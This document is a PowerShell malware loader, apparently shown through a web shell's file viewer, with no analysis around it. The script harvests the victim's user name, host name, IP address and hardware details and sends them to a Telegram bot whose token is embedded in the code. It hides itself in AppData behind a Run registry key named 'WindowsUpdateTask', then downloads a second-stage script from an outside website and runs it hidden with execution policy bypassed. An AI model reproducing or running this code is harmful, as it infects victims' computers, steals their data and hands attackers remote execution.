One Hat Cyber Team

View File Name : mark.txt

# Define the group variable
$group = "DefaultGroup"  # Change this to your actual group name

# Log function
function Write-Log {
    param(
        [string]$Message,
        [string]$Level = "INFO"
    )
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $logMessage = "[$timestamp] [$Level] $Message"
    Write-Host $logMessage
}

# === TELEGRAM NOTIFICATION ===
function Send-TelegramNotify {
    try {
        $username = $env:USERNAME
        $computerName = $env:COMPUTERNAME
        $cpu = try { (Get-CimInstance Win32_Processor).Name.Trim() } catch { "Unknown" }
        $gpu = try { (Get-CimInstance Win32_VideoController | Select-Object -First 1).Name.Trim() } catch { "Unknown" }
        $ram = try {
            $totalBytes = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory
            "{0:N2} GB" -f ($totalBytes / 1GB)
        } catch { "Unknown" }
        
        $ip = try {
            (Invoke-RestMethod -Uri "https://api.ipify.org/?format=json" -TimeoutSec 5).ip
        } catch {
            try {
                (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq 'IPv4' -and $_.PrefixOrigin -eq 'Dhcp' } | Select-Object -First 1).IPAddress
            } catch { "Unknown" }
        }
        
        $os = [System.Environment]::OSVersion.VersionString
        
        $msg = @"
[+] New hit
User: $username
Host: $computerName
OS: $os
IP: $ip
CPU: $cpu
GPU: $gpu
RAM: $ram
Group: $group
Timestamp: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')
"@
        
        $bot = "7252153973:AAEEKvgf-cwqvWPviTklhbY6BPRbjwK3Jqw"
        $chat = "-1002513798195"
        $uri = "https://api.telegram.org/bot$bot/sendMessage"
        $body = @{
            chat_id = $chat
            text = $msg
            disable_notification = $true
        }
        
        Invoke-RestMethod -Uri $uri -Method Post -Body $body -TimeoutSec 10 | Out-Null
        Write-Log "Telegram notification sent successfully"
    } catch {
        Write-Log "Failed to send Telegram notification: $_" -Level "ERROR"
    }
}

# === PERSISTENCE FUNCTIONS ===
function Add-Persistence {
    param(
        [string]$ScriptName = "mark.ps1"
    )
    
    try {
        # 1. Copy script to AppData\Roaming
        $roamingPath = [System.IO.Path]::Combine($env:APPDATA, $ScriptName)
        $currentScriptPath = $MyInvocation.MyCommand.Path
        
        # If running from temp or other location, copy current script content
        if ($currentScriptPath -and (Test-Path $currentScriptPath)) {
            Copy-Item -Path $currentScriptPath -Destination $roamingPath -Force
            Write-Log "Script copied to: $roamingPath"
        } else {
            # Save current script content if we can't determine path
            $scriptContent = Get-Content -Path $PSCommandPath -Raw
            Set-Content -Path $roamingPath -Value $scriptContent -Encoding UTF8
            Write-Log "Script content saved to: $roamingPath"
        }
        
        # 2. Create PowerShell command to run the script hidden
        $psCommand = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$roamingPath`""
        
        # 3. Add to Registry Run (Current User - HKCU)
        $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
        $regName = "WindowsUpdateTask"  # Disguised name
        
        # Create registry key if it doesn't exist
        if (-not (Test-Path $regPath)) {
            New-Item -Path $regPath -Force | Out-Null
        }
        
        # Set the registry value
        Set-ItemProperty -Path $regPath -Name $regName -Value $psCommand -Type String -Force
        Write-Log "Registry entry added: $regName = $psCommand"
        
        Write-Log "Persistence successfully established"
        return $true
    } catch {
        Write-Log "Failed to add persistence: $_" -Level "ERROR"
        return $false
    }
}

# === MAIN SCRIPT EXECUTION ===
# Send notification
Send-TelegramNotify

# Add persistence
Add-Persistence -ScriptName "mark.ps1" 

# Your original download and execute logic
$tempPath = Join-Path $env:TEMP "mark1.ps1"
Invoke-WebRequest -Uri "https://www.lelopagani.com.br/assets/js/mark1.ps1" -OutFile $tempPath
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$tempPath`"" -WindowStyle Hidden